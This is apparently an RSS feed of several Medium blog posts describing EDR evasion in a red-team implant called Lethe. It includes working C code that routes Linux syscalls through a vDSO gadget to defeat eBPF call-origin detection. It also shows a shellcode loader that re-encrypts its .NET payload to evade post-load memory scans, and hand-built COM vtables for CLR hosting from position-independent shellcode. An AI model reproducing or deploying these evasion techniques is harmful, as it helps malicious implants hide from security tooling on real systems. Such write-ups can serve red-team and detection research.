jump into a gadget that executes the syscall instruction, the kernel records the gadget&#39;s address as the origin of the call, not your code&#39;s address. Attribution follows the instruction pointer.</blockquote><p>The technique is now well-documented and widely implemented. Defenders have responded with deeper stack inspection that looks further up the call chain. The arms race continues on Windows.</p><p>On Linux, the same detection logic applies. But the available gadget source is different. There is no ntdll. The equivalent is the vDSO.</p><h3>What the vDSO is</h3><p>The vDSO, the Virtual Dynamic Shared Object, is a small shared library that the Linux kernel maps into every process’s address space automatically. You do not load it, link against it, or open it. It appears in /proc/self/maps without a backing file path, labeled [vdso]. It is a kernel-controlled page in user space.</p><p>Its primary purpose is performance. Certain syscalls, gettimeofday, clock_gettime, clock_getres, are called extremely frequently and do not require kernel privileges. The vDSO provides user-space implementations that return results without ever switching to kernel mode: the kernel keeps a shared memory page with the current time, and the vDSO code reads it directly. A clock_gettime through the vDSO costs tens of nanoseconds instead of hundreds.</p><p>But the vDSO also contains code paths that fall through to the real syscall when the fast path is unavailable. And those real syscall paths contain the sequence we care about: the syscall instruction, followed by ret. The opcodes 0x0f 0x05 0xc3. A syscall; ret gadget, sitting inside a kernel-mapped, executable page, at a stable address visible in /proc/self/maps.</p><p>This is structurally identical to what Hell’s Gate exploits in ntdll. The gadget exists. It is in a legitimate region. The location can be found at runtime by reading the process’s own memory map.</p><p>/proc/self/maps — the vDSO entry</p><pre>7ffc2d9f4000-7ffc2d9f6000 r-xp 00000000 00:00 0  [vdso]<br>                           ^^^<br>                    read + execute, no write, no file path<br>                    this region belongs to the kernel</pre><p>The address changes between processes and reboots due to ASLR, but the label [vdso] is stable. Parsing /proc/self/maps to find the range takes a single open and read syscall. The gadget hunt is a linear scan of at most a few kilobytes.</p><h3>Finding the gadget</h3><p>The Lethe NextGen Linux agent has no dependency on libc, the standard C library. It is compiled without it, and all the common utility functions (memory copy, string length, number parsing) are reimplemented directly as raw syscalls. Finding the vDSO gadget follows the same approach: open /proc/self/maps via a direct syscall, read it, scan each line for the [vdso] label, parse the address range, then scan those bytes for the three-byte sequence.</p><pre>static void find_syscall_gadget() {<br>    int fd = (int)_syscall3(SYS_OPEN, (long)&quot;/proc/self/maps&quot;, 0, 0);<br>    if (fd &lt; 0) return;<br>    char* buf = (char*)_syscall6(SYS_MMAP, 0, 8192, 3, 34, -1, 0);<br>    long n = _syscall3(SYS_READ, fd, (long)buf, 8192);<br>    _syscall1(SYS_CLOSE, fd);<br>    if (n &lt;= 0) { _syscall2(SYS_MUNMAP, (long)buf, 8192); return; }<br><br>    char* line = buf;<br>    while (line &lt; buf + n) {<br>        char* end = line;<br>        while (end &lt; buf + n &amp;&amp; *end != &#39;\n&#39;) end++;<br>        *end = &#39;\0&#39;;<br><br>        int found_vdso = 0;<br>        char* p = line;<br>        while (*p) {<br>            if (_strncmp(p, &quot;[vdso]&quot;, 6) == 0) { found_vdso = 1; break; }<br>            p++;<br>        }<br><br>        if (found_vdso) {<br>            uint64_t start = _atoh(line);           /* parse hex start address */<br>            p = line; while (*p &amp;&amp; *p != &#39;-&#39;) p++;  /* skip to &#39;-&#39;             */<br>            if (*p == &#39;-&#39;) {<br>                uint64_t stop = _atoh(p + 1);        /* parse hex end address   */<br>                for (uint8_t* m = (uint8_t*)start; (uint64_t)m &lt; stop - 2; m++) {<br>                    if (m[0] == 0x0f &amp;&amp; m[1] == 0x05 &amp;&amp; m[2] == 0xc3) {<br>                        g_syscall_gadget = (void*)m; /* syscall + ret found      */<br>                        break;<br>                    }<br>                }<br>            }<br>            break;<br>        }<br>        line = end + 1;<br>    }<br>    _syscall2(SYS_MUNMAP, (long)buf, 8192);<br>}</pre><p>The result is stored in the global g_syscall_gadget. If the scan fails, when the vDSO is not found or no matching opcode sequence exists, the pointer stays null and the agent falls back to direct syscalls. Both paths are handled by the same calling wrapper, so the rest of the agent code is identical either way.</p><h3>Using the gadget: the inline asm</h3><p>Every syscall in the agent goes through one of seven thin wrapper functions in syscalls.h, one per number of arguments (_syscall0 through _syscall6). Each one checks whether the gadget was found and picks the corresponding path.</p><pre>static inline long _syscall1(long n, long a1) {<br>    long ret;<br>    if (g_syscall_gadget) {<br>        /* RIP at syscall instruction will be inside [vdso] */<br>        __asm__ volatile (<br>            &quot;call *%3&quot;<br>            : &quot;=a&quot;(ret)<br>            : &quot;a&quot;(n), &quot;D&quot;(a1), &quot;r&quot;(g_syscall_gadget)<br>            : &quot;rcx&quot;, &quot;r11&quot;, &quot;memory&quot;<br>        );<br>    } else {<br>        /* Fallback: RIP at syscall instruction is inside agent code */<br>        __asm__ volatile (<br>            &quot;syscall&quot;<br>            : &quot;=a&quot;(ret)<br>            : &quot;a&quot;(n), &quot;D&quot;(a1)<br>            : &quot;rcx&quot;, &quot;r11&quot;, &quot;memory&quot;<br>        );<br>    }<br>    return ret;<br>}</pre><p>call *%3 is an indirect call: instead of jumping to a fixed address baked into the binary, it jumps to whatever address is in a register, in this case the vDSO gadget address. The CPU pushes a return address onto the stack, jumps into the vDSO&#39;s syscall; ret sequence, the kernel runs the syscall, and the ret sends execution back to the agent. From the kernel&#39;s perspective the call came from the vDSO.</p><p>For syscalls with more arguments the pattern extends naturally. The Linux kernel expects arguments in specific registers (rdi, rsi, rdx, r10, r8, r9), so each wrapper loads the right registers and calls the same gadget.</p><pre>static inline long _syscall6(long n, long a1, long a2, long a3, long a4, long a5, long a6) {<br>    long ret;<br>    register long r10 __asm__(&quot;r10&quot;) = a4;  /* 4th arg: r10, not rcx */<br>    register long r8  __asm__(&quot;r8&quot;)  = a5;<br>    register long r9  __asm__(&quot;r9&quot;)  = a6;<br>    if (g_syscall_gadget) {<br>        __asm__ volatile (<br>            &quot;call *%8&quot;<br>            : &quot;=a&quot;(ret)<br>            : &quot;a&quot;(n), &quot;D&quot;(a1), &quot;S&quot;(a2), &quot;d&quot;(a3), &quot;r&quot;(r10), &quot;r&quot;(r8), &quot;r&quot;(r9),<br>              &quot;r&quot;(g_syscall_gadget)<br>            : &quot;rcx&quot;, &quot;r11&quot;, &quot;memory&quot;<br>        );<br>    } else {<br>        __asm__ volatile (<br>            &quot;syscall&quot;<br>            : &quot;=a&quot;(ret)<br>            : &quot;a&quot;(n), &quot;D&quot;(a1), &quot;S&quot;(a2), &quot;d&quot;(a3), &quot;r&quot;(r10), &quot;r&quot;(r8), &quot;r&quot;(r9)<br>            : &quot;rcx&quot;, &quot;r11&quot;, &quot;memory&quot;<br>        );<br>    }<br>    return ret;<br>}</pre><p>The fourth argument goes in r10, not rcx. Linux&#39;s syscall calling convention differs from the standard C function calling convention: the kernel uses rcx internally when switching to kernel mode, so it cannot carry an argument. The wrappers handle this register mapping correctly for both the gadget path and the fallback path.</p><h3>What a detector sees</h3><p>The difference between the two paths is what RIP contains at the moment the syscall instruction executes, the moment the CPU transitions to kernel mode.</p><pre>Direct syscall — RIP points into agent code<br>agent .text segment [0x7f3a12340000–0x7f3a12360000, rwx, anon]<br>├─ main_logic() → _syscall3() → syscall ← RIP here at kernel entry<br>└─ visible from: bpf_get_stackid() → anonymous executable range → suspicious</pre><pre>vDSO indirect syscall — RIP points into kernel-mapped vDSO<br>agent .text segment [0x7f3a12340000–0x7f3a12360000, rwx, anon]<br>├─ main_logic() → _syscall3() → call *gadget<br>└─ lands in vDSO [vdso] ← RIP here at kernel entry → looks like a libc time function<br>bpf_get_stackid() → [vdso] → kernel-provided, legitimate</pre><p>eBPF security tools can trigger on every syscall and record the user-space call stack at that moment. A simple rule checks the topmost frame: where did this syscall instruction physically execute? With a direct syscall, the answer is “inside the agent’s anonymous memory region.” With the vDSO indirect path, the answer is “inside the vDSO,” a kernel-provided region that is present and legitimate in every Linux process. The agent’s own code is one call frame deeper, hidden behind the indirect jump.</p><p>Tools that only look at that immediate caller are fully defeated. The vDSO is legitimate. There is nothing to flag.</p><p>More capable tools can walk further up the call chain and see the agent’s code in the frame above the vDSO. But this is computationally expensive, requires debug metadata the agent does not provide (it is compiled stripped with no frame pointer), and is not universally deployed. The technique raises the bar without claiming to be a perfect shield.</p><h3>The fallback path and agent reporting</h3><p>If find_syscall_gadget() fails, when no [vdso] entry is found or no matching byte sequence exists in the range, g_syscall_gadget stays null and the wrappers fall through to the direct syscall path. The agent remains fully functional. It does not crash or abort. The only difference is that syscalls originate from the agent&#39;s own code region rather than the vDSO.</p><p>The Lethe agent reports which mode it is running in via its info command. The status line includes either Indirect (vDSO) or Direct (Fallback), giving the operator visibility into whether the evasion property is active on the current target. This matters in environments where the vDSO may be absent, such as unusual kernel configurations, certain container runtimes, or targets where the maps file is restricted.</p><p>operator output , info command showing syscall mode</p><pre>[*] Lethe NextGen Linux Agent<br>    PID:       1337  ([kworker/u2:1])<br>    UID:       1000<br>    Hostname:  prod-build-01<br>    Arch:      x86_64<br>    Syscalls:  Indirect (vDSO)   &lt;-- gadget found and active<br>    Pivot:     inactive</pre><h3>The no-libc property amplifies this</h3><p>The vDSO gadget technique is more valuable in the context of the agent’s broader design. The entire NextGen agent compiles with -nostdlib -ffreestanding. No libc. No dynamic linker. No ld-linux.so. All standard library functions, memcpy, strlen, memset, are small inline implementations. All I/O, networking, and memory allocation goes through the raw syscall wrappers directly.</p><p>This matters because a common class of Linux detection tools works by intercepting libc. LD_PRELOAD lets a library inject itself into a process and wrap functions like malloc or connect. Other tools use eBPF to hook libc entry points or attach a tracer to the process via ptrace. All of these approaches assume the target program calls libc. An agent with no libc dependency gives them nothing to attach to. The only remaining surface is the kernel syscall boundary itself, which is exactly what the vDSO gadget addresses.</p><p>The combination is deliberate: no libc eliminates the userspace hook surface, and indirect syscalls reduce the syscall origin attribution signal. Neither alone is complete. Together they cover the two most common Linux detection layers.</p><h3>What detection actually requires</h3><p>To catch this technique reliably, a detector needs to walk the full user-space call stack at the moment of a syscall, not just look at the immediate caller. It needs to see that the frame above the vDSO is not libc or any recognizable library, but an anonymously mapped executable region. That is multiple stack frames to unwind inside a kernel BPF program, with real computational cost at syscall frequency.</p><p>It also needs the binary to cooperate. Stack unwinding depends on metadata: either frame pointers saved at each function call, or a table of debug information (DWARF) that maps each instruction to its unwind procedure. The agent is compiled stripped with optimizations that remove both. A tool that relies on frame pointers stops at the first function that does not have one. A tool that relies on debug tables finds nothing. Walking the stack of a stripped, optimized binary without that metadata requires a custom stack walker and heuristics, which is expensive and not always reliable.</p><p>Some advanced tools use exactly this approach. But they are deployed in a fraction of environments. The simpler and more commonly deployed tooling uses the leaf-frame check, which this technique fully defeats.</p><blockquote>The practical state: leaf-frame attribution, which is the most common deployed approach, is fully defeated by this technique. Full-stack attribution with a no-frame-pointer no-debug-info target is a hard problem that most deployed tools do not currently solve in production.</blockquote><h3>Lessons learned</h3><p>Writing this taught a few things worth keeping.</p><p><strong>The primitive is the same, the gadget source is different</strong>. The core idea behind Hell’s Gate and behind this technique is identical: find a syscall; ret sequence in a region the detector trusts, and route your syscalls through it. On Windows the source is ntdll. On Linux the source is the vDSO. The implementation details differ but the structural insight is the same. If you understand one, you understand the other.</p><p><strong>The vDSO is always there</strong>. Unlike ntdll, which is a file on disk with versions and patch levels, the vDSO is a kernel artifact. It does not need to be located by hash or by name search across loaded modules. The [vdso] label in /proc/self/maps is stable across kernel versions. The syscall; ret sequence exists in every x86-64 vDSO because the kernel needs it for the slow path. This makes the gadget hunt simpler and more reliable than its Windows equivalent.</p><p><strong>Let the compiler handle register allocation</strong>. The wrappers use GCC’s inline assembly constraint syntax to describe what each argument needs rather than hardcoding specific registers. This lets the compiler pick registers freely and optimize around the syscall site, while the assembly itself stays correct. Hardcoding registers or using a standalone assembly file requires keeping two things in sync manually; the constraint approach keeps the compiler in charge of the parts it is better at.</p><p><strong>Graceful fallback is not optional</strong>. An evasion feature that crashes the agent when the gadget is unavailable is a reliability problem. The if (g_syscall_gadget) check in every wrapper makes the technique fully degradable. The operator knows which mode is active from the info command. A broken evasion property that is transparent to the operator is far better than a broken evasion property that is silent.</p><p><strong>No-libc and indirect syscalls cover different layers</strong>. Libc hooks disappear when there is no libc to hook. Syscall origin attribution is defeated by routing through the vDSO. These are independent detection mechanisms and the two techniques compose without overlap. Neither is sufficient alone against a fully deployed detection stack. Together they remove the two most common Linux-specific detection surfaces without requiring any additional complexity in the rest of the agent.</p><p><strong>The research gap is the real story</strong>. Every technique described here is straightforward once you understand the Windows analog. The reason it has not been widely documented on Linux is not that Linux is technically harder. It is that the research community has spent a decade on Windows offense and almost no time on Linux offense. That gap is narrowing, and corporate Linux environments are the reason it has to.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23c388c4f3d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Re-encryption Dance (Part 5)]]></title>
            <link>https://medium.com/@q3alique/the-re-encryption-dance-part-5-a67bb7e21386?source=rss-fab1a67c8ef9------2</link>
            <guid isPermaLink="false">https://medium.com/p/a67bb7e21386</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[edr-evasion]]></category>
            <category><![CDATA[edr]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Qalique]]></dc:creator>
            <pubDate>Sat, 03 Oct 2026 09:05:44 GMT</pubDate>
            <atom:updated>2026-10-03T09:05:44.706Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Re-encryption Dance</h3><p><em>Assembly.Load needs live bytes. A SAFEARRAY gives the CLR its own copy. That is the window where ghost_loader wipes the original, so by the time the post-load scanner runs, g_ManagedBase holds encrypted data and nothing else.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SdqrPZXXH5q0RIrTgiu12A.jpeg" /></figure><h3>Where Part 1 stopped</h3><p>In <a href="https://medium.com/@q3alique/blending-in-why-encrypt-everything-makes-you-more-visible-ae88ea420529"><strong>Blending In: Why “Encrypt Everything” Makes You More Visible</strong></a>, the threat model was the scanner that runs while the implant is idle, the long stretches between check-ins where EDRs are most likely to do a full memory sweep. The answer there was Wraith’s warden thread: during sleep, original DLL bytes are swapped back into the stomped region, so what the scanner sees looks like a legitimately loaded module.</p><p>That article ended at the runtime window. But the runtime window is not the only one. There is an earlier gap, shorter and less discussed, that opens the moment ghost_loader finishes decrypting the payload and closes the moment the CLR takes ownership of those bytes. During that window, g_ManagedBase holds a live PE, in a private allocation, with a PE header at offset zero.</p><p>This is what ghost_loader does about it.</p><h3>The exposure</h3><p>Ghost_loader’s job is to decrypt the payload and hand it to the CLR. Decryption happens in place: the managed agent’s bytes, stored encrypted in the shellcode blob, get decrypted directly into g_ManagedBase, a private allocation ghost_loader made earlier in the bootstrap sequence. At that moment the memory looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*AcmZBrxO2kIEPlrkeCpjxA.png" /></figure><p>A private allocation with a PE header at offset zero and no backing file is one of the most reliable indicators a memory scanner has. This is not subtle. Ghost_loader needs to get rid of it before anything else happens.</p><p>The problem is that it cannot just free the allocation and be done with it. Assembly.Load needs those bytes. The CLR has to read a complete, valid PE to load the assembly. The bytes have to exist somewhere right up until the CLR reads them.</p><h3>What a SAFEARRAY enables</h3><p>The COM hosting path for Assembly.Load does not take a raw pointer to bytes. It takes a SAFEARRAY, a COM-standard descriptor type that wraps an array with its dimensions and element type. The specific variant for a byte array is VT_UI1.</p><p>The detail that matters here is allocation ownership. SafeArrayCreate allocates the backing buffer itself, inside COM/CLR memory. When ghost_loader calls SafeArrayCreate and copies the payload bytes in, the CLR&#39;s memory now holds a copy. Ghost_loader&#39;s copy, the one sitting in g_ManagedBase, is no longer the only live version. And once it is no longer the only live version, it can be re-encrypted.</p><blockquote>The SAFEARRAY copy is the gap. While two copies exist, one can be wiped. Ghost_loader re-encrypts g_ManagedBase in that gap, before Load_3 fires.</blockquote><h3>The sequence</h3><p>The full operation in order:</p><p>ghost_loader.c, the re-encryption dance around Load_3</p><pre>// 1. Allocate the SAFEARRAY with the exact size of the managed agent.<br>SAFEARRAYBOUND sab = { g_ManagedSize, 0 };<br>SAFEARRAY* sa = SafeArrayCreate(VT_UI1, 1, &amp;sab);<br><br>// 2. Lock the array and copy the decrypted bytes in.<br>//    The CLR now owns a live copy of the PE.<br>void* pData = NULL;<br>SafeArrayAccessData(sa, &amp;pData);<br>memcpy(pData, g_ManagedBase, g_ManagedSize);<br>SafeArrayUnaccessData(sa);<br><br>// 3. Re-encrypt g_ManagedBase.<br>//    The private allocation no longer holds a live PE header.<br>xor_encrypt(g_ManagedBase, g_ManagedSize, g_EncKey);<br><br>// 4. Now call Load_3. The CLR reads from the SAFEARRAY,<br>//    not from g_ManagedBase, which is already clean.<br>VARIANT vtRaw;<br>V_VT(&amp;vtRaw)    = VT_ARRAY | VT_UI1;<br>V_ARRAY(&amp;vtRaw) = sa;<br><br>VARIANT vtAssembly = { 0 };<br>pAssembly-&gt;lpVtbl-&gt;Load_3(pAssembly, vtRaw, &amp;vtAssembly);</pre><p>Step 3 is the entire point. Between step 2 and step 4 there is a brief window where both copies are live, but that window is a few nanoseconds of memcpy, not a window any scanner could observe. What matters is the state that persists: by the time Load_3 returns, g_ManagedBase holds encrypted data and the CLR&#39;s SAFEARRAY buffer holds the live bytes inside managed heap memory.</p><h3>What the scanner sees after Load_3</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*1LYkX95ncW4CFIoShoBj0g.png" /></figure><p>The private allocation that holds a suspicious PE header, the one no file backs and no module owns, no longer has a PE header. The CLR’s copy is real and live, but it sits inside the CLR heap alongside every other managed allocation the runtime has made. There is no isolated, unexplained region holding a .NET PE anymore.</p><h3>The handoff to lethargic_sleep</h3><p>Ghost_loader’s role ends when Load_3 returns and the managed agent&#39;s entry method is invoked. At that point the two techniques from this post and Part 1 divide responsibilities cleanly.</p><p>Ghost_loader owned the load-time window: from decrypt to Assembly.Load. The re-encryption dance covered it. Once the managed agent is running, lethargic_sleep takes over the runtime window: the long idle periods between check-ins where a scanner is most likely to run. That is the window Part 1 covered with module stomping and the warden thread.</p><p>The -1 sentinel is the handoff signal. Ghost_loader writes it to a known offset before invoking the entry method, telling the managed agent that the loader has finished its cleanup and it is safe to start the lethargic_sleep cycle. The managed agent does not start sleep masking until it sees that sentinel, because until ghost_loader signals completion there is no guarantee the load-time cleanup has run.</p><p>Together the two cover the full lifecycle. Ghost_loader cleans up the decryption window. Lethargic_sleep owns everything after that. Neither technique knows about the other’s mechanism, they just agree on a sentinel and stay in their lane.</p><h3>Lessons learned</h3><p>The load-time window is easy to overlook because it is short. The decryption happens, Load_3 fires, and everything looks fine in testing. What you do not see in testing is the post-load memory scan that some EDRs trigger precisely at that moment, when a new module has just appeared in the process. That scan sees whatever is in memory right after load, not during execution and not during sleep.</p><p>The SAFEARRAY is not usually thought of as an evasion primitive. It is a COM data container. But its copy semantics are exactly what ghost_loader needs: a way to give the CLR a live copy of the bytes while retaining the ability to wipe the original. The evasion is a consequence of how COM arrays work, not a special trick bolted on top.</p><p>The broader lesson is the same one Part 1 ended with: evasion is not one problem. It is a sequence of separate problems, one per phase of the implant’s lifecycle, and they require separate answers. Runtime sleep masking does not help with the load-time window. The load-time cleanup does not help with sleep. Getting both right means reasoning about each phase independently and making sure the handoff between them is clean.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a67bb7e21386" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Calling the CLR Without metahost.h (Part 4)]]></title>
            <link>https://medium.com/@q3alique/calling-the-clr-without-metahost-h-part-4-4476a071c100?source=rss-fab1a67c8ef9------2</link>
            <guid isPermaLink="false">https://medium.com/p/4476a071c100</guid>
            <category><![CDATA[edr]]></category>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[evasion]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Qalique]]></dc:creator>
            <pubDate>Tue, 29 Sep 2026 18:40:28 GMT</pubDate>
            <atom:updated>2026-09-29T18:40:28.496Z</atom:updated>
            <content:encoded><![CDATA[<p><em>COM is a calling convention on top of function pointers. MinGW doesn’t ship the headers, so ghost_loader ships its own.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9QyLObwE9uOQeqv3Z7X1Jg.jpeg" /></figure><h3>Why this matters for evasion</h3><p>Most .NET shellcode loaders are written in C#. The convenience is obvious: you want to run managed code, so you write managed code to load it. The problem is that a C# loader is itself a managed executable. It has its own CLR dependency, its own metadata, its own obvious purpose visible in a decompiler in seconds. Defenders see it for what it is before it runs.</p><p>Ghost_loader takes the harder path. It is position-independent C shellcode, flat binary output, no imports, no SDK, cross-compiled on Linux and injected into a Windows process. Its job is to start the CLR from inside a running process and hand off execution to a Lethe .NET agent. To do that, it has to bridge two worlds: native machine code and the managed .NET runtime. The bridge is COM.</p><p>This is where the vtable reconstruction connects to evasion. A loader that calls CLRCreateInstance through the Windows SDK leaves &quot;CLRCreateInstance&quot; in its import table, static analysis sees it and knows exactly what the binary does before it runs a single instruction. Ghost_loader resolves that function at runtime from a hash. No string, no import, nothing for a scanner to name. But to call through a function pointer into a COM object, you need to know the memory layout of its vtable. And to know that layout without the SDK headers, you need to reconstruct it from the specification. That is what this article is about.</p><p>Most loaders sidestep this problem by avoiding the constraint, they compile on Windows with the full SDK, delegate the CLR bootstrapping to a tool like Donut, or write the loader in C# and never touch native COM at all. The combination of requirements here, native C, cross-compiled on Linux, position-independent shellcode, no import table, loading .NET, is narrow enough that this specific pattern almost never appears in public tooling. Beyond Lethe’s use case, the broader insight is worth keeping: COM is a vtable layout defined by a public specification. Once you understand that, you can call any COM interface from any language or environment that can dereference a pointer. The header is optional. The IDL is not.</p><h3>Two things you need to know first</h3><p>The CLR (Common Language Runtime) is the engine that runs .NET code. When you compile C#, the output is not native machine code, it is IL (Intermediate Language) bytecode. The CLR takes that bytecode and JIT-compiles it to native instructions at runtime. If you want to load and execute a .NET assembly from a native C program, from something that is already running as raw machine code, you need to start the CLR engine from inside your process and hand it the assembly bytes to run. That is called CLR hosting.</p><p>COM (Component Object Model) is the mechanism Windows provides to let software components written in different languages call each other across a stable binary boundary. It has been part of Windows since 1993. A COM object is not a language construct, it is a memory layout. Any program, in any language, that follows the layout can call into a COM object without knowing anything about its implementation or source language. The CLR hosting API is exposed through COM because it needs to be callable from C, C++, VBScript, or anything else that can follow a binary calling convention. That includes shellcode.</p><p>So the sequence is: to run .NET code from shellcode, you must go through COM. And to go through COM in a cross-compiled C environment with no Windows SDK, you need to understand what COM actually is at the binary level, not just how to use the SDK headers that normally hide it from you.</p><h3>The problem</h3><p>To load a managed .NET assembly from native C, you need to call into the CLR hosting API. On Windows, that API is COM. The entry point is CLRCreateInstance, which hands you an ICLRMetaHost. From there you walk a chain: GetRuntime gives you an ICLRRuntimeInfo (a handle to a specific .NET version installed on the machine), GetInterface gives you an ICorRuntimeHost (the runtime engine itself), GetDefaultDomain gives you an AppDomain (the container where assemblies live), and then you can call Assembly.Load to hand it your DLL bytes and get back a running .NET assembly.</p><p>In a normal Windows C++ project, this takes four or five headers: metahost.h, mscoree.h, cor.h, and the COM support headers. In a MinGW cross-compilation environment targeting flat PIC shellcode output, none of those headers exist. MinGW does not ship the Windows SDK. There is no metahost.h. There is no mscoree.h.</p><p>Ghost_loader does not need them. Every interface it uses is reconstructed from scratch, in C, directly in ghost_loader.c. This is not a workaround. It is what COM actually is, stripped of the abstraction layer the SDK headers provide.</p><h3>What COM actually is</h3><p>COM is a binary interface standard. An object implementing a COM interface is, at the machine level, a pointer to a struct whose first field is a pointer to an array of function pointers. That array is the vtable. The first three entries in every COM vtable are always the same: QueryInterface, AddRef, and Release. They are defined by IUnknown, and every COM interface inherits from IUnknown. After those three slots, the interface defines its own methods in the order they appear in the IDL file.</p><p>That is the entire model. An interface definition file (.idl) is the authoritative source for a COM interface, it lists every method in the exact order they must appear, along with their parameters. Think of it as the contract all implementations must honor. It specifies the method order. The compiler generates a C++ abstract base class that maps that order to a vtable. The SDK headers expose that class. But the vtable layout itself, the order, the signatures, the slot indices, is defined by the IDL and is part of the public ABI. It does not change. It is documented. It can be reproduced exactly in a plain C struct.</p><p>ghost_loader.c, COM in plain C: every object is this pattern</p><pre>// A COM object is a pointer to a struct whose first field is a vtable pointer.<br>// Dereferencing gives the vtable. Indexing into the vtable gives a function pointer.<br><br>typedef struct ICLRMetaHostVtbl {<br>    // IUnknown, always slots 0, 1, 2<br>    HRESULT (__stdcall *QueryInterface)(void* This, REFIID riid, void** ppvObject); // [0]<br>    ULONG   (__stdcall *AddRef)        (void* This);                                // [1]<br>    ULONG   (__stdcall *Release)       (void* This);                                // [2]<br>    // ICLRMetaHost, slots 3 onward, in IDL order<br>    HRESULT (__stdcall *GetRuntime)    (void* This, LPCWSTR pwzVersion, REFIID riid, LPVOID* ppRuntime); // [3]<br>    HRESULT (__stdcall *GetVersionFromFile)(void* This, LPCWSTR pwzFilePath, LPWSTR pwzBuffer, DWORD* pcchBuffer); // [4]<br>    // ... remaining slots<br>} ICLRMetaHostVtbl;<br><br>typedef struct ICLRMetaHost { ICLRMetaHostVtbl* lpVtbl; } ICLRMetaHost;</pre><p>Calling a method is calling a function pointer at a specific index in the vtable, with the object pointer as the first argument. That is the ABI. The C++ wrapper the SDK provides is convenient, but it is not necessary. As long as the vtable indices are correct, the call reaches the right function in the CLR.</p><h3>Where the slot indices come from</h3><p>Every interface ghost_loader uses is sourced from the real IDL. The comments in ghost_loader.c are explicit: “vtable indices match the real COM interface order from mscoree.idl / coreclr source.” This is not trial and error. It is reading the specification.</p><p>The .NET CLR is open source. The CoreCLR repository on GitHub contains the IDL files that define every hosting interface. mscoree.idl defines ICorRuntimeHost. The methods appear in a fixed order. That order maps directly to vtable slots starting at index 3 (after the three IUnknown slots). Counting methods in the IDL gives you the slot index for any method you want to call.</p><p>ghost_loader.c, ICorRuntimeHost vtable, slots 3 through 21</p><pre>typedef struct ICorRuntimeHostVtbl {<br>    // IUnknown  [0-2]<br>    HRESULT (__stdcall *QueryInterface)(void* This, REFIID riid, void** ppvObject);<br>    ULONG   (__stdcall *AddRef)        (void* This);<br>    ULONG   (__stdcall *Release)       (void* This);<br>    // ICorRuntimeHost  [3-21]<br>    HRESULT (__stdcall *CreateLogicalThreadState)   (void* This);                 // [3]<br>    HRESULT (__stdcall *DeleteLogicalThreadState)   (void* This);                 // [4]<br>    HRESULT (__stdcall *SwitchInLogicalThreadState) (void* This, DWORD*);         // [5]<br>    HRESULT (__stdcall *SwitchOutLogicalThreadState)(void* This, DWORD**);        // [6]<br>    HRESULT (__stdcall *LocksHeldByLogicalThread)   (void* This, DWORD*);         // [7]<br>    HRESULT (__stdcall *MapFile)                    (void* This, HANDLE, HMODULE*); // [8]<br>    HRESULT (__stdcall *GetConfiguration)           (void* This, void**);         // [9]<br>    HRESULT (__stdcall *Start)                      (void* This);                 // [10]<br>    HRESULT (__stdcall *Stop)                       (void* This);                 // [11]<br>    HRESULT (__stdcall *CreateDomain)               (void* This, LPCWSTR, IUnknown*, IUnknown**); // [12]<br>    HRESULT (__stdcall *GetDefaultDomain)           (void* This, IUnknown**);     // [13]<br>    // ... remaining slots through [21]<br>} ICorRuntimeHostVtbl;</pre><p>Ghost_loader only ever calls Start (slot 10) and GetDefaultDomain (slot 13). But the struct must include every slot between IUnknown and those methods. The C compiler lays struct fields out in memory in the order they are declared, that is exactly how vtable dispatch works at the CPU level. Omitting an intermediate slot shifts every subsequent index by one. The call you intended for Start lands at Stop, or at an unrelated method entirely. There is no error message. The wrong function runs, and the process crashes or returns garbage with no indication of why.</p><h3>The _AppDomain dual-interface problem</h3><p>A subtlety that took time to get right: GetDefaultDomain returns IUnknown*, not _AppDomain*. A bare IUnknown pointer has exactly three vtable slots, QueryInterface, AddRef, Release. Calling slot 5 on it reads past the end of the vtable and lands on garbage.</p><p>The fix is QueryInterface, the COM mechanism for asking an object &quot;do you also implement this other interface?&quot; You call it with a GUID (a 128-bit number that uniquely identifies a specific interface) and it gives back a pointer of the correct type, or an error if the object does not support that interface. AppDomain is a dual interface: it implements both a direct vtable (used by compiled code for fast, type-safe calls) and a generic dispatch mechanism called IDispatch (used by scripting languages and late-binding scenarios). All .NET objects exposed as COM are dual interfaces. Calling QI with the AppDomain GUID returns a properly typed pointer with the full vtable, including IDispatch at slots 3 through 6 and the AppDomain-specific methods beyond that. Ghost_loader does this explicitly:</p><p>ghost_loader.c, QI to get a properly typed AppDomain pointer</p><pre>// GetDefaultDomain returns IUnknown*, only slots 0-2 are valid on this pointer.<br>// QI for _AppDomain to get the dual-interface object with slots 5/6 (IDispatch).<br>pCorHost-&gt;lpVtbl-&gt;GetDefaultDomain(pCorHost, &amp;pUnk);<br>if (pUnk) {<br>    GUID xIID_AppDomain = {0x05F696DC,0x2B29,0x3663,{0xAD,0x8B,0xC4,0x38,0x9C,0xF2,0xA7,0x13}};<br>    QI_fn  fQI  = (QI_fn) ((void**)(*(void**)pUnk))[0];<br>    Rel_fn fRel = (Rel_fn)((void**)(*(void**)pUnk))[2];<br>    fQI(pUnk, &amp;xIID_AppDomain, (void**)&amp;pAppDomain);<br>    fRel(pUnk);<br>}</pre><p>Notice that even the QI call is made manually, dereferencing the raw vtable pointer, indexing to slot 0, and calling the function pointer directly. No SDK, no COM helper macros, no C++ -&gt; operator. Just a pointer dereference and a function call.</p><h3>The 75-slot TypeVtbl</h3><p>The most striking part of ghost_loader’s vtable definitions is _TypeVtbl. The System.Type class exposes a large COM dual-interface. Ghost_loader only needs one method from it: GetMethod_2, which retrieves a method by name and binding flags. That method sits at a high vtable index because System.Type inherits from MemberInfo, which inherits from Object, each contributing their own methods to the interface in IDL order before Type&#39;s own methods 